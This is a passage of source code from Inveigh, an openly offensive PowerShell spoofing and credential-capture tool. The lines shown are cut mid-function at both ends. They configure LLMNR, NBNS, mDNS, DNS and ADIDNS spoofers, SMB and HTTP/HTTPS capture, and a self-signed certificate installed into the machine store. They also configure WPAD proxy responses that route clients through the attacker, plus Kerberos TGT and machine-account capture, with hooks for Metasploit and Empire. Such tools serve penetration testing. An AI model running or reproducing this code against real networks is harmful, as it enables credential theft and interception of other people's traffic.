'Y') 685 { 686 $elevated_privilege_check = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") 687 $elevated_privilege = $true 688 } 689 else 690 { 691 $elevated_privilege = $false 692 } 693 694 } 695 696 if($StartupChecks -eq 'Y') 697 { 698 699 $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} 700 701 if($HTTP -eq 'Y') 702 { 703 $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " 704 } 705 706 if($HTTPS -eq 'Y') 707 { 708 $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " 709 } 710 711 if($Proxy -eq 'Y') 712 { 713 $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " 714 } 715 716 if($DNS -eq 'Y' -and !$elevated_privilege) 717 { 718 $DNS_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:53 " 719 $DNS_port_check = $false 720 } 721 722 if($LLMNR -eq 'Y' -and !$elevated_privilege) 723 { 724 $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " 725 $LLMNR_port_check = $false 726 } 727 728 if($mDNS -eq 'Y' -and !$elevated_privilege) 729 { 730 $mDNS_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5353 " 731 } 732 733 } 734 735 if(!$elevated_privilege) 736 { 737 738 if($HTTPS -eq 'Y') 739 { 740 Write-Output "[-] HTTPS requires elevated privileges" 741 throw 742 } 743 744 if($SpooferLearning -eq 'Y') 745 { 746 Write-Output "[-] SpooferLearning requires elevated privileges" 747 throw 748 } 749 750 if($Pcap -eq 'File') 751 { 752 Write-Output "[-] Pcap file output requires elevated privileges" 753 throw 754 } 755 756 if(!$PSBoundParameters.ContainsKey('NBNS')) 757 { 758 $NBNS = "Y" 759 } 760 761 $SMB = "N" 762 } 763 764 $inveigh.hostname_spoof = $false 765 $inveigh.running = $true 766 767 if($StatusOutput -eq 'Y') 768 { 769 $inveigh.status_output = $true 770 } 771 else 772 { 773 $inveigh.status_output = $false 774 } 775 776 if($OutputStreamOnly -eq 'Y') 777 { 778 $inveigh.output_stream_only = $true 779 } 780 else 781 { 782 $inveigh.output_stream_only = $false 783 } 784 785 if($Inspect) 786 { 787 788 if($elevated_privilege) 789 { 790 $DNS = "N" 791 $LLMNR = "N" 792 $mDNS = "N" 793 $NBNS = "N" 794 $HTTP = "N" 795 $HTTPS = "N" 796 $Proxy = "N" 797 } 798 else 799 { 800 $HTTP = "N" 801 $HTTPS = "N" 802 $Proxy = "N" 803 } 804 805 } 806 807 if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension 808 { 809 $inveigh.tool = 1 810 $inveigh.output_stream_only = $true 811 $inveigh.newline = $null 812 $ConsoleOutput = "N" 813 814 } 815 elseif($Tool -eq 2) # PowerShell Empire 816 { 817 $inveigh.tool = 2 818 $inveigh.output_stream_only = $true 819 $inveigh.console_input = $false 820 $inveigh.newline = $null 821 $LogOutput = "N" 822 $ShowHelp = "N" 823 824 switch ($ConsoleOutput) 825 { 826 827 'Low' 828 { 829 $ConsoleOutput = "Low" 830 } 831 832 'Medium' 833 { 834 $ConsoleOutput = "Medium" 835 } 836 837 default 838 { 839 $ConsoleOutput = "Y" 840 } 841 842 } 843 844 } 845 else 846 { 847 $inveigh.tool = 0 848 $inveigh.newline = $null 849 } 850 851 $inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value 852 $inveigh.computer_name = (Get-ChildItem -path env:computername).Value 853 854 try 855 { 856 $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain -ErrorAction 'SilentlyContinue').Value).ToLower() 857 $inveigh.DNS_computer_name = ($inveigh.computer_name + "." + $inveigh.DNS_domain).ToLower() 858 859 if(!$inveigh.domain_mapping_table.($inveigh.netBIOS_domain)) 860 { 861 $inveigh.domain_mapping_table.Add($inveigh.netBIOS_domain,$inveigh.DNS_domain) 862 } 863 864 } 865 catch 866 { 867 $inveigh.DNS_domain = $inveigh.netBIOS_domain 868 $inveigh.DNS_computer_name = $inveigh.computer_name 869 } 870 871 #endregion 872 #region begin startup messages 873 $inveigh.output_queue.Add("[*] Inveigh $inveigh_version started at $(Get-Date -format s)") > $null 874 875 if($Elevated -eq 'Y' -or $elevated_privilege) 876 { 877 878 if(($Elevated -eq 'Auto' -and $elevated_privilege) -or ($Elevated -eq 'Y' -and $elevated_privilege_check)) 879 { 880 $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled") > $null 881 } 882 else 883 { 884 $inveigh.output_queue.Add("[-] Elevated Privilege Mode Enabled But Check Failed") > $null 885 } 886 887 } 888 else 889 { 890 $inveigh.output_queue.Add("[!] Elevated Privilege Mode = Disabled") > $null 891 $SMB = "N" 892 } 893 894 if($firewall_status) 895 { 896 $inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null 897 } 898 899 $inveigh.output_queue.Add("[+] Primary IP Address = $IP") > $null 900 901 if($DNS -eq 'Y' -or $LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') 902 { 903 $inveigh.output_queue.Add("[+] Spoofer IP Address = $SpooferIP") > $null 904 } 905 906 if($LLMNR -eq 'Y' -or $NBNS -eq 'Y') 907 { 908 909 if($SpooferThresholdHost -gt 0) 910 { 911 $inveigh.output_queue.Add("[+] Spoofer Threshold Host = $SpooferThresholdHost") > $null 912 } 913 914 if($SpooferThresholdNetwork -gt 0) 915 { 916 $inveigh.output_queue.Add("[+] Spoofer Threshold Network = $SpooferThresholdNetwork") > $null 917 } 918 919 } 920 921 if($ADIDNS) 922 { 923 $inveigh.ADIDNS = $ADIDNS 924 $inveigh.output_queue.Add("[+] ADIDNS Spoofer = $ADIDNS") > $null 925 $inveigh.output_queue.Add("[+] ADIDNS Hosts Ignore = " + ($ADIDNSHostsIgnore -join ",")) > $null 926 $inveigh.output_queue.Add("[+] ADIDNS Domain Controller = $ADIDNSDomainController") > $null 927 $inveigh.output_queue.Add("[+] ADIDNS Domain = $ADIDNSDomain") > $null 928 $inveigh.output_queue.Add("[+] ADIDNS Forest = $ADIDNSForest") > $null 929 $inveigh.output_queue.Add("[+] ADIDNS TTL = $ADIDNSTTL") > $null 930 $inveigh.output_queue.Add("[+] ADIDNS Zone = $ADIDNSZone") > $null 931 932 if($inveigh.ADIDNS -contains 'NS') 933 { 934 $inveigh.output_queue.Add("[+] ADIDNS NS Record = $ADIDNSNS") > $null 935 $inveigh.output_queue.Add("[+] ADIDNS NS Target Record = $ADIDNSNSTarget") > $null 936 } 937 938 if($ADIDNSACE -eq 'Y') 939 { 940 $inveigh.output_queue.Add("[+] ADIDNS ACE Add = Enabled") > $null 941 } 942 else 943 { 944 $inveigh.output_queue.Add("[+] ADIDNS ACE Add = Disabled") > $null 945 } 946 947 if($ADIDNSCleanup -eq 'Y') 948 { 949 $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Enabled") > $null 950 } 951 else 952 { 953 $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Disabled") > $null 954 } 955 956 if($ADIDNS -eq 'Combo') 957 { 958 $inveigh.request_table_updated = $true 959 } 960 961 } 962 else 963 { 964 $inveigh.output_queue.Add("[+] ADIDNS Spoofer = Disabled") > $null 965 } 966 967 if($DNS -eq 'Y') 968 { 969 970 if($elevated_privilege -or !$DNS_port_check) 971 { 972 $inveigh.output_queue.Add("[+] DNS Spoofer = Enabled") > $null 973 $inveigh.output_queue.Add("[+] DNS TTL = $DNSTTL Seconds") > $null 974 } 975 else 976 { 977 $DNS = "N" 978 $inveigh.output_queue.Add("[-] DNS Spoofer Disabled Due To In Use Port 53") > $null 979 } 980 981 } 982 else 983 { 984 $inveigh.output_queue.Add("[+] DNS Spoofer = Disabled") > $null 985 } 986 987 if($LLMNR -eq 'Y') 988 { 989 990 if($elevated_privilege -or !$LLMNR_port_check) 991 { 992 $inveigh.output_queue.Add("[+] LLMNR Spoofer = Enabled") > $null 993 $inveigh.output_queue.Add("[+] LLMNR TTL = $LLMNRTTL Seconds") > $null 994 } 995 else 996 { 997 $LLMNR = "N" 998 $inveigh.output_queue.Add("[-] LLMNR Spoofer Disabled Due To In Use Port 5355") > $null 999 } 1000 1001 } 1002 else 1003 { 1004 $inveigh.output_queue.Add("[+] LLMNR Spoofer = Disabled") > $null 1005 } 1006 1007 if($mDNS -eq 'Y') 1008 { 1009 1010 if($elevated_privilege -or !$mDNS_port_check) 1011 { 1012 $mDNSTypes_output = $mDNSTypes -join "," 1013 1014 if($mDNSTypes.Count -eq 1) 1015 { 1016 $inveigh.output_queue.Add("[+] mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null 1017 } 1018 else 1019 { 1020 $inveigh.output_queue.Add("[+] mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null 1021 } 1022 1023 $inveigh.output_queue.Add("[+] mDNS TTL = $mDNSTTL Seconds") > $null 1024 } 1025 else 1026 { 1027 $mDNS = "N" 1028 $inveigh.output_queue.Add("[-] mDNS Spoofer Disabled Due To In Use Port 5353") > $null 1029 } 1030 1031 } 1032 else 1033 { 1034 $inveigh.output_queue.Add("[+] mDNS Spoofer = Disabled") > $null 1035 } 1036 1037 if($NBNS -eq 'Y') 1038 { 1039 $NBNSTypes_output = $NBNSTypes -join "," 1040 1041 if($NBNSTypes.Count -eq 1) 1042 { 1043 $inveigh.output_queue.Add("[+] NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null 1044 } 1045 else 1046 { 1047 $inveigh.output_queue.Add("[+] NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null 1048 } 1049 1050 } 1051 else 1052 { 1053 $inveigh.output_queue.Add("[+] NBNS Spoofer = Disabled") > $null 1054 } 1055 1056 if($NBNSBruteForce -eq 'Y') 1057 { 1058 $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null 1059 $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null 1060 $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null 1061 1062 if($NBNSBruteForcePause) 1063 { 1064 $inveigh.output_queue.Add("[+] NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null 1065 } 1066 1067 } 1068 1069 if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') 1070 { 1071 $inveigh.output_queue.Add("[+] NBNS TTL = $NBNSTTL Seconds") > $null 1072 } 1073 1074 if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) 1075 { 1076 $inveigh.output_queue.Add("[+] Spoofer Learning = Enabled") > $null 1077 1078 if($SpooferLearningDelay -eq 1) 1079 { 1080 $inveigh.output_queue.Add("[+] Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null 1081 } 1082 elseif($SpooferLearningDelay -gt 1) 1083 { 1084 $inveigh.output_queue.Add("[+] Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null 1085 } 1086 1087 if($SpooferLearningInterval -eq 1) 1088 { 1089 $inveigh.output_queue.Add("[+] Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null 1090 } 1091 elseif($SpooferLearningInterval -eq 0) 1092 { 1093 $inveigh.output_queue.Add("[+] Spoofer Learning Interval = Disabled") > $null 1094 } 1095 elseif($SpooferLearningInterval -gt 1) 1096 { 1097 $inveigh.output_queue.Add("[+] Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null 1098 } 1099 1100 } 1101 1102 if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) 1103 { 1104 $inveigh.output_queue.Add("[+] Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null 1105 } 1106 1107 if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) 1108 { 1109 $inveigh.output_queue.Add("[+] Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null 1110 } 1111 1112 if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) 1113 { 1114 $inveigh.output_queue.Add("[+] Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null 1115 } 1116 1117 if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) 1118 { 1119 $inveigh.output_queue.Add("[+] Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null 1120 } 1121 1122 if($SpooferRepeat -eq 'N') 1123 { 1124 $inveigh.spoofer_repeat = $false 1125 $inveigh.output_queue.Add("[+] Spoofer Repeating = Disabled") > $null 1126 } 1127 else 1128 { 1129 $inveigh.spoofer_repeat = $true 1130 } 1131 1132 if($SMB -eq 'Y' -and $elevated_privilege) 1133 { 1134 $inveigh.output_queue.Add("[+] SMB Capture = Enabled") > $null 1135 } 1136 else 1137 { 1138 $inveigh.output_queue.Add("[+] SMB Capture = Disabled") > $null 1139 } 1140 1141 if($HTTP -eq 'Y') 1142 { 1143 1144 if($HTTP_port_check) 1145 { 1146 $HTTP = "N" 1147 $inveigh.output_queue.Add("[-] HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null 1148 } 1149 else 1150 { 1151 1152 if($HTTPIP -ne '0.0.0.0') 1153 { 1154 $inveigh.output_queue.Add("[+] HTTP IP = $HTTPIP") > $null 1155 } 1156 1157 if($HTTPPort -ne 80) 1158 { 1159 $inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null 1160 } 1161 1162 $inveigh.output_queue.Add("[+] HTTP Capture = Enabled") > $null 1163 } 1164 1165 } 1166 else 1167 { 1168 $inveigh.output_queue.Add("[+] HTTP Capture = Disabled") > $null 1169 } 1170 1171 if($HTTPS -eq 'Y') 1172 { 1173 1174 if($HTTPS_port_check) 1175 { 1176 $HTTPS = "N" 1177 $inveigh.HTTPS = $false 1178 $inveigh.output_queue.Add("[-] HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null 1179 } 1180 else 1181 { 1182 1183 try 1184 { 1185 $inveigh.certificate_issuer = $HTTPSCertIssuer 1186 $inveigh.certificate_CN = $HTTPSCertSubject 1187 $inveigh.output_queue.Add("[+] HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null 1188 $inveigh.output_queue.Add("[+] HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null 1189 $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) 1190 1191 if(!$certificate_check) 1192 { 1193 # credit to subTee for cert creation code from Interceptor 1194 $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" 1195 $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) 1196 $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" 1197 $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) 1198 $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" 1199 $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" 1200 $certificate_key.KeySpec = 2 1201 $certificate_key.Length = 2048 1202 $certificate_key.MachineContext = 1 1203 $certificate_key.Create() 1204 $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" 1205 $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") 1206 $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" 1207 $certificate_enhanced_key_usage_OID.Add($certificate_server_auth_OID) 1208 $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" 1209 $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) 1210 $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" 1211 $certificate.InitializeFromPrivateKey(2,$certificate_key,"") 1212 $certificate.Subject = $certificate_distinguished_name 1213 $certificate.Issuer = $certificate_issuer_distinguished_name 1214 $certificate.NotBefore = (Get-Date).AddDays(-271) 1215 $certificate.NotAfter = $certificate.NotBefore.AddDays(824) 1216 $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId 1217 $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") 1218 $certificate.HashAlgorithm = $certificate_hash_algorithm_OID 1219 $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) 1220 $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" 1221 $certificate_basic_constraints.InitializeEncode("true",1) 1222 $certificate.X509Extensions.Add($certificate_basic_constraints) 1223 $certificate.Encode() 1224 $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" 1225 $certificate_enrollment.InitializeFromRequest($certificate) 1226 $certificate_data = $certificate_enrollment.CreateRequest(0) 1227 $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") 1228 $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) 1229 } 1230 else 1231 { 1232 1233 if($HTTPSForceCertDelete -eq 'Y') 1234 { 1235 $inveigh.HTTPS_force_certificate_delete = $true 1236 } 1237 1238 $inveigh.HTTPS_existing_certificate = $true 1239 $inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null 1240 } 1241 1242 $inveigh.HTTPS = $true 1243 1244 if($HTTPIP -ne '0.0.0.0') 1245 { 1246 $inveigh.output_queue.Add("[+] HTTPS IP = $HTTPIP") > $null 1247 } 1248 1249 if($HTTPSPort -ne 443) 1250 { 1251 $inveigh.output_queue.Add("[+] HTTPS Port = $HTTPSPort") > $null 1252 } 1253 1254 $inveigh.output_queue.Add("[+] HTTPS Capture = Enabled") > $null 1255 1256 } 1257 catch 1258 { 1259 $HTTPS = "N" 1260 $inveigh.HTTPS = $false 1261 $inveigh.output_queue.Add("[-] HTTPS Capture Disabled Due To Certificate Error") > $null 1262 } 1263 1264 } 1265 1266 } 1267 else 1268 { 1269 $inveigh.output_queue.Add("[+] HTTPS Capture = Disabled") > $null 1270 } 1271 1272 if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') 1273 { 1274 $inveigh.output_queue.Add("[+] HTTP/HTTPS Authentication = $HTTPAuth") > $null 1275 1276 if($HTTPDirectory -and !$HTTPResponse) 1277 { 1278 $inveigh.output_queue.Add("[+] HTTP/HTTPS Directory = $HTTPDirectory") > $null 1279 1280 if($HTTPDefaultFile) 1281 { 1282 $inveigh.output_queue.Add("[+] HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null 1283 } 1284 1285 if($HTTPDefaultEXE) 1286 { 1287 $inveigh.output_queue.Add("[+] HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null 1288 } 1289 1290 } 1291 1292 if($HTTPResponse) 1293 { 1294 $inveigh.output_queue.Add("[+] HTTP/HTTPS Response = Enabled") > $null 1295 } 1296 1297 if($HTTPResponse -or $HTTPDirectory -and $HTTPContentType -ne 'html/text') 1298 { 1299 $inveigh.output_queue.Add("[+] HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null 1300 } 1301 1302 if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') 1303 { 1304 $inveigh.output_queue.Add("[+] Basic Authentication Realm = $HTTPBasicRealm") > $null 1305 } 1306 1307 if($WPADDirectHosts) 1308 { 1309 1310 foreach($WPAD_direct_host in $WPADDirectHosts) 1311 { 1312 $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' 1313 } 1314 1315 } 1316 1317 if($Proxy -eq 'Y') 1318 { 1319 1320 if($proxy_port_check) 1321 { 1322 $Proxy = "N" 1323 $inveigh.output_queue.Add("[-] Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null 1324 } 1325 else 1326 { 1327 $inveigh.output_queue.Add("[+] Proxy Capture = Enabled") > $null 1328 $inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null 1329 $inveigh.output_queue.Add("[+] Proxy Authentication = $ProxyAuth") > $null 1330 $ProxyPortFailover = $ProxyPort + 1 1331 $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) 1332 1333 if($ProxyIgnore.Count -gt 0) 1334 { 1335 $inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null 1336 } 1337 1338 if($ProxyIP -eq '0.0.0.0') 1339 { 1340 $proxy_WPAD_IP = $IP 1341 } 1342 else 1343 { 1344 $proxy_WPAD_IP = $ProxyIP 1345 } 1346 1347 if($WPADIP -and $WPADPort) 1348 { 1349 $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $WPADIP`:$WPADPort; DIRECT`";}" 1350 } 1351 else 1352 { 1353 $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_wpad_IP`:$ProxyPortFailover; DIRECT`";}" 1354 } 1355 1356 } 1357 1358 } 1359 1360 $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null 1361 1362 if($WPADAuth -like "NTLM*") 1363 { 1364 $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) 1365 1366 if($WPADAuthIgnore.Count -gt 0) 1367 { 1368 $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null 1369 } 1370 1371 } 1372 1373 if($WPADDirectHosts) 1374 { 1375 $inveigh.output_queue.Add("[+] WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null 1376 } 1377 1378 if($WPADResponse -and $Proxy -eq 'N') 1379 { 1380 $inveigh.output_queue.Add("[+] WPAD Response = Enabled") > $null 1381 } 1382 elseif($WPADResponse -and $Proxy -eq 'Y') 1383 { 1384 $inveigh.output_queue.Add("[+] WPAD Proxy Response = Enabled") > $null 1385 1386 if($WPADIP -and $WPADPort) 1387 { 1388 $inveigh.output_queue.Add("[+] WPAD Failover = $WPADIP`:$WPADPort") > $null 1389 } 1390 1391 } 1392 elseif($WPADIP -and $WPADPort) 1393 { 1394 $inveigh.output_queue.Add("[+] WPAD Response = Enabled") > $null 1395 $inveigh.output_queue.Add("[+] WPAD = $WPADIP`:$WPADPort") > $null 1396 1397 if($WPADDirectHosts) 1398 { 1399 1400 foreach($WPAD_direct_host in $WPADDirectHosts) 1401 { 1402 $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' 1403 } 1404 1405 $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" 1406 $inveigh.output_queue.Add("[+] WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null 1407 } 1408 else 1409 { 1410 $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $WPADIP`:$WPADPort; DIRECT`";}" 1411 } 1412 1413 } 1414 1415 if($Challenge) 1416 { 1417 $inveigh.output_queue.Add("[+] HTTP NTLM Challenge = $Challenge") > $null 1418 } 1419 1420 } 1421 1422 if($Kerberos -eq 'Y') 1423 { 1424 $inveigh.output_queue.Add("[+] Kerberos TGT Capture = Enabled") > $null 1425 $inveigh.output_queue.Add("[+] Kerberos TGT File Output Count = $KerberosCount") > $null 1426 1427 if($KerberosHostHeader.Count -gt 0) 1428 { 1429 $inveigh.output_queue.Add("[+] Kerberos TGT Host Header List = " + ($KerberosHostHeader -join ",")) > $null 1430 } 1431 1432 } 1433 else 1434 { 1435 $inveigh.output_queue.Add("[+] Kerberos TGT Capture = Disabled") > $null 1436 } 1437 1438 if($MachineAccounts -eq 'N') 1439 { 1440 $inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null 1441 $inveigh.machine_accounts = $false 1442 } 1443 else 1444 { 1445 $inveigh.output_queue.Add("[+] Machine Account Capture = Enabled") > $null 1446 $inveigh.machine_accounts = $true 1447 } 1448 1449 if($ConsoleOutput -ne 'N') 1450 { 1451 1452 if($ConsoleOutput -ne 'N') 1453 { 1454 1455 if($ConsoleOutput -eq 'Y') 1456 { 1457 $inveigh.output_queue.Add("[+] Console Output = Full") > $null 1458 } 1459 else 1460 { 1461 $inveigh.output_queue.Add("[+] Console Output = $ConsoleOutput") > $null 1462 } 1463 1464 } 1465 1466 $inveigh.console_output = $true 1467 1468 if($ConsoleStatus -eq 1) 1469 { 1470 $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null 1471 } 1472 elseif($ConsoleStatus -gt 1) 1473 { 1474 $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null 1475 } 1476 1477 } 1478 else 1479 { 1480 1481 if($inveigh.tool -eq 1) 1482 { 1483 $inveigh.output_queue.Add("[+] Console Output Disabled Due To External Tool Selection") > $null 1484 } 1485 else 1486 { 1487 $inveigh.output_queue.Add("[+] Console Output = Disabled") > $null 1488 } 1489 1490 } 1491 1492 if($ConsoleUnique -eq 'Y') 1493 { 1494 $inveigh.console_unique = $true 1495 } 1496 else 1497 { 1498 $inveigh.console_unique = $false 1499 } 1500 1501 if($FileOutput -eq 'Y' -or ($Kerberos -eq 'Y' -and $KerberosCount -gt 0) -or ($Pcap -eq 'File' -and ($PcapTCP -or $PcapUDP))) 1502 { 1503 1504 if($FileOutput -eq 'Y') 1505 { 1506 $inveigh.output_queue.Add("[+] File Output = Enabled") > $null 1507 $inveigh.file_output = $true 1508 } 1509 1510 if($Pcap -eq 'File') 1511 { 1512 $inveigh.output_queue.Add("[+] Pcap Output = File") > $null 1513 1514 if($PcapTCP) 1515 { 1516 $inveigh.output_queue.Add("[+] Pcap TCP Ports = " + ($PcapTCP -join ",")) > $null 1517 } 1518 1519 if($PcapUDP) 1520 { 1521 $inveigh.output_queue.Add("[+] Pcap UDP Ports = " + ($PcapUDP -join ",")) > $null 1522 } 1523 1524 } 1525 1526 $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null 1527 } 1528 else 1529 { 1530 $inveigh.output_queue.Add("[+] File Output = Disabled") > $null 1531 } 1532 1533 if($Pcap -eq 'Memory') 1534 { 1535 $inveigh.output_queue.Add("[+] Pcap Output = Memory") 1536 } 1537 1538 if($FileUnique -eq 'Y') 1539 { 1540 $inveigh.file_unique = $true 1541 } 1542 else 1543 { 1544 $inveigh.file_unique = $false 1545 } 1546 1547 if($LogOutput -eq 'Y') 1548 { 1549 $inveigh.log_output = $true 1550 } 1551 else 1552 { 1553 $inveigh.log_output = $false 1554 } 1555 1556 if($RunCount) 1557 { 1558 $inveigh.output_queue.Add("[+] Run Count = $RunCount") > $null 1559 } 1560 1561 if($RunTime -eq 1) 1562 { 1563 $inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null 1564 } 1565 elseif($RunTime -gt 1) 1566 { 1567 $inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null 1568 } 1569 1570 if($ShowHelp -eq 'Y') 1571 { 1572 $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null 1573 1574 if($inveigh.console_output) 1575 { 1576 $inveigh.output_queue.Add("[*] Press any key to stop console output") > $null 1577 } 1578 1579 } 1580 1581 while($inveigh.output_queue.Count -gt 0) 1582 { 1583 1584 switch -Wildcard ($inveigh.output_queue[0]) 1585 { 1586 1587 {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} 1588 { 1589 1590 if($inveigh.status_output -and $inveigh.output_stream_only) 1591 { 1592 Write-Output($inveigh.output_queue[0] + $inveigh.newline) 1593 } 1594 elseif($inveigh.status_output) 1595 { 1596 Write-Warning($inveigh.output_queue[0]) 1597 } 1598 1599 if($inveigh.file_output) 1600 { 1601 $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null 1602 } 1603 1604 if($inveigh.log_output) 1605 { 1606 $inveigh.log.Add($inveigh.output_queue[0]) > $null 1607 } 1608 1609 $inveigh.output_queue.RemoveAt(0) 1610 } 1611 1612 default 1613 { 1614 1615 if($inveigh.status_output -and $inveigh.output_stream_only) 1616 { 1617 Write-Output($inveigh.output_queue[0] + $inveigh.newline) 1618 } 1619 elseif($inveigh.status_output) 1620 { 1621 Write-Output($inveigh.output_queue[0]) 1622 } 1623 1624 if($inveigh.file_output) 1625 { 1626 1627 if ($inveigh.output_queue[0].StartsWith("[+] ") -or $inveigh.output_queue[0].StartsWith("[*] ")) 1628 { 1629 $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null 1630 } 1631 else 1632 { 1633 $inveigh.log_file_queue.Add("[redacted]") > $null 1634 } 1635 1636 } 1637 1638 if($inveigh.log_output) 1639 { 1640 $inveigh.log.Add($inveigh.output_queue[0]) > $null 1641 } 1642 1643 $inveigh.output_queue.RemoveAt(0) 1644 } 1645 1646 } 1647 1648 } 1649 1650 $inveigh.status_output = $false 1651 1652 #endregion 1653 #region begin script blocks 1654 1655 # Shared Basic Functions ScriptBlock 1656 $shared_basic_functions_scriptblock = 1657 { 1658 1659 function Get-UInt16DataLength 1660 { 1661 param ([Int]$Start,[Byte[]]$Data) 1662 $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 